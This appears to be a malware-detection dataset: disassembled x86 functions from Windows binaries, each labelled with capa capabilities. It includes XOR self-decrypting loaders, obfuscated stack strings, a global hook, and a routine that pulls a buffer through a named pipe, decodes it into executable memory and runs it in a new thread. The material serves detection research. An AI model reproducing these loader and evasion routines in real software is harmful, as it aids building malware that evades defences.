joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a140
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44a2eb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44a2cc
mov dl, 1
mov eax, dword [0x411a4c]
call fcn.00403218
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f80
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44a2bb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00437fb4
test al, al
je 0x44a2ae
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44a2fc
lea eax, [ebp - 0x254]
call fcn.00408a68
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44a2ae
xor eax, eax
push ebp
push 0x44a2a7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44a334
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44a290
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44a290
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a2ae
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44a1b1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415564
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44a2f2
lea eax, [ebp - 0x260]
call fcn.00403f80
ret

Function at 0x44ac20
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x452bb0]
cmp byte [eax + 0xa5], 0
jne 0x44ac91
cmp dword [0x452bc8], 0
jne 0x44ac52
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, 0x44abdc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x452bc8], eax
cmp dword [0x452bc4], 0
jne 0x44ac6d
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventA
mov dword [0x452bc4], eax
cmp dword [0x452bcc], 0
jne 0x44ac91
push esp
push 0
push 0
push 0x44ab80
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x452bcc], eax
pop edx
ret
Function at 0x44ad88
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44ad9f
add esp, 0xfffffff0
call fcn.00403554
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419374
mov eax, dword [0x450f40]
cmp word [eax + 2], 0
jne 0x44adc7
mov eax, dword [0x450f40]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044c4f0
mov eax, dword [0x450fec]
cmp word [eax + 2], 0
jne 0x44ade1
mov eax, dword [0x450fec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044c6e8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411630]
call fcn.00403218
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411630]
call fcn.00403218
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b548]
call fcn.00421190
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44af68
mov eax, dword [0x450e5c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00421560
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44cc88
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x450e5c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c208
test eax, eax
je 0x44aed6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040845c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c230
test eax, eax
je 0x44aeea
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041f0
mov eax, dword [0x450d5c]
cmp byte [eax], 0
jne 0x44af1e
mov eax, ebx
call fcn.0044b090
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044ce64
mov eax, ebx
call fcn.0044d828
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44af5e
call fcn.004035ac
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44b310
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x452bb0]
cmp dword [eax + 0x30], 0
je 0x44b3ba
cmp dword [ebx + 0x94], 0
jne 0x44b3b4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44b2a0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44b3b4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44b37a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44b3b4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413998
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44b389
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44bf1c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44bf51
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404070
jmp 0x44bf5e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fd4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44d040
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44d081
mov eax, esi
call fcn.004337bc
test al, al
je 0x44d081
mov eax, dword [ebx + 0x84]
call fcn.0043355c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44d081
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043355c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x100080d6
pop dword [ebp - 0x1c]
mov eax, 0xe537f206
add eax, 0x2ac88ed0
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x39932
push 0
mov eax, 0xc4c3eb84
add eax, 0x4b3d54e0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x1a8974f9
add ecx, 0xe576d551
xor ebx, ebx
add ebx, eax
mov esi, 0xe92941e
add esi, 0x16ef1e2
add esi, dword [ebp - 0x1c]
mov edx, 0x776aa6bf
add edx, 0xba647164
xor dword [ebp - 0x18], edx
mov edi, dword [esi]
mov dword [ebp - 4], 0x547626b9
sub edi, edx
sub dword [ebp - 0x14], 0x89bd2ffa
mov dword [ebx], edi
xor dword [ebp - 0x18], 0xd6e11d8e
add ebx, 0xa0e3e070
add ebx, 0x5f1c1f94
add esi, 0xa7c7fd46
add esi, 0x583802be
loop 0x10008137
add eax, 0x104c86f8
sub eax, 0x104b6afd
xor ebx, ebx
add ebx, eax
add eax, 0x3dab14c2
add eax, 0xc254eb43
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x18201915
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [edi + edi*8 - 1], esi
dec dword [ebx - 0xe0807bb]
test edx, edx
je 0x18201929
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.1820163b
ret

Function at 0x182019e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
idiv dword [edi - 0x39c18]
call dword [eax + 0x56]
push dword [ebp + 8]
call fcn.18201600
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.1820164b
push eax
push esi
push dword [ebp + 8]
call fcn.18201600
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
inc ebp
fimul dword [edx - 0x3a]
inc ebp
fisttp dword [edi - 0x3a]
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x18201ad6

Function at 0x18204096
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1820aab0]
jne 0x182040a0
repz ret
jmp fcn.1820521d
Function at 0x18204eb2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1820aab0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.18201433
and dword [ebp - 0x14], 0
cmp dword [0x1820b4ac], 0
mov dword [ebp - 0x18], eax
jne 0x18204f65
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1820500d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1820500d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1820b4ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1820b4b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1820b4b4], eax
call edi
push eax
call esi
mov dword [0x1820b4bc], eax
test eax, eax
je 0x18204f65
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1820b4b8], eax
mov eax, dword [0x1820b4b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x18204fbe
cmp dword [0x1820b4bc], ecx
je 0x18204fbe
push eax
call esi
push dword [0x1820b4bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x18204fbe
test ebx, ebx
je 0x18204fbe
call edi
test eax, eax
je 0x18204fb5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x18204fb5
test byte [ebp - 8], 1
jne 0x18204fbe
or dword [ebp + 0x10], 0x200000
jmp 0x18204ff1
mov eax, dword [0x1820b4b0]
cmp eax, dword [ebp - 0x18]
je 0x18204ff1
push eax
call esi
test eax, eax
je 0x18204ff1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x18204ff1
mov eax, dword [0x1820b4b4]
cmp eax, dword [ebp - 0x18]
je 0x18204ff1
push eax
call esi
test eax, eax
je 0x18204ff1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1820b4ac]
call esi
test eax, eax
je 0x1820500d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1820500f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.18204096
leave
ret
Function at 0x10005230
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x1001f960
jmp loc.100b0b05

Function at 0x10006440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x1001f980
jmp loc.1007f11c

Function at 0x100117bd
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0x1001f054]
test eax, eax
je 0x100117fc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100117fc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100117fc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100117fc
cmp dword [ecx + 0x74], 0xe
jbe 0x100117fc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001d6e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001d70d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001d70d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40288e
pop dword [ebp - 0x44]
mov eax, 0x63a2f661
sub eax, 0x6362cdd3
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x57d1a40a
sub dword [ebp - 0x54], 0x97f5ebf
mov dword [ebp - 0x50], 0xbe074ab0
sub dword [ebp - 0x50], 0x8bd3fe6b
mov dword [ebp - 0x4c], 0x22dd0441
sub dword [ebp - 0x4c], 0xd690c013
mov dword [ebp - 0x48], 0xaa76aeb7
sub dword [ebp - 0x48], 0xaa76aeb7
lea eax, [ebp - 0x54]
push eax
mov eax, 0x63390078
add eax, 0x9d076fec
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5432eea
add dword [ebp - 0x54], 0x6f2f3a6c
mov dword [ebp - 0x50], 0x1bea2fd6
sub dword [ebp - 0x50], 0xda7dce61
mov dword [ebp - 0x4c], 0xaafca564
sub dword [ebp - 0x4c], 0x478d38f8
mov dword [ebp - 0x48], 0xf33845b5
sub dword [ebp - 0x48], 0xf33845b5
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xdec92a07
sub eax, 0xde88b95f
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3da8a
push 0
call eax
mov ecx, 0x161b0db5
sub ecx, 0x161aa975
mov edi, eax
mov esi, 0xfb470c36
sub esi, 0xfb060c36
add esi, dword [ebp - 0x44]
mov ebx, 0x66e39c5c
sub dword [ebp - 0x3c], edi
mov edx, dword [esi]
add dword [ebp - 0x20], 0xb6a03230
sub edx, ebx
mov dword [ebp - 0x24], 0xe75c3556
mov dword [edi], edx
xor dword [ebp - 0x28], ebx
add edi, 4
add esi, 4
loop 0x4029aa
add eax, 0x9e1a2111
add eax, 0x61e762c2
mov ebx, eax
add eax, 0x15726c68
add eax, 0xea8d939d
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x6bac14c0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0x6bb073a8
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
sub esp, 0x20
lea eax, [eax - 1]
cmp eax, 0xfffffffd
ja 0x6bac1583
mov dword [esp + 4], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
push edx
push edx
lea edx, [ebp - 0x1c]
jne 0x6bac1575
jmp 0x6bac1583
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x6bac1579
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
test esi, esi
jg 0x6bac1544
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6bac15aa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x6bb073a8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [ebp - 0x1c]
mov esi, eax
sub esp, 0x1c
xor eax, eax
cmp esi, 0xffffffff
jne 0x6bac163f
jmp 0x6bac1652
mov dword [esp + 0xc], edx
mov dword [ebp - 0x2c], edx
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x2c]
sub esp, 0x14
test eax, eax
je 0x6bac1643
mov eax, dword [ebp - 0x1c]
add edi, eax
sub ebx, eax
test ebx, ebx
jg 0x6bac160e
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
push ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6bac16b8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
div ecx
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x6bb073a8
mov dword [esp + 0x2c], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6bac158b
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 8], 0
sub esp, 0x18
leave
jmp fcn.6bac165a
Function at 0x6bac178b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0xc], 1
jne 0x6bac17d7
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [0x6bb073e8], eax
mov dword [esp + 8], 0x6bac1774
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov eax, 1
leave
ret 0xc

Function at 0x6bac185a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp], 0
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
sub esp, 0x10
mov ebx, eax
jmp 0x6bac18aa
mov eax, ecx
mov edi, 4
cdq
idiv edi
mov edi, dword [ebp + 0x10]
mov al, byte [edi + edx]
mov edi, dword [ebp + 8]
xor al, byte [edi + ecx]
mov byte [ebx + ecx], al
inc ecx
cmp ecx, esi
jl 0x6bac1890
mov dword [esp], ebx
call fcn.6bac1825
lea eax, [ebp - 0x1c]
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x6bac181c
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6bac1c00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], 0x6bb06088
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.6bac1c60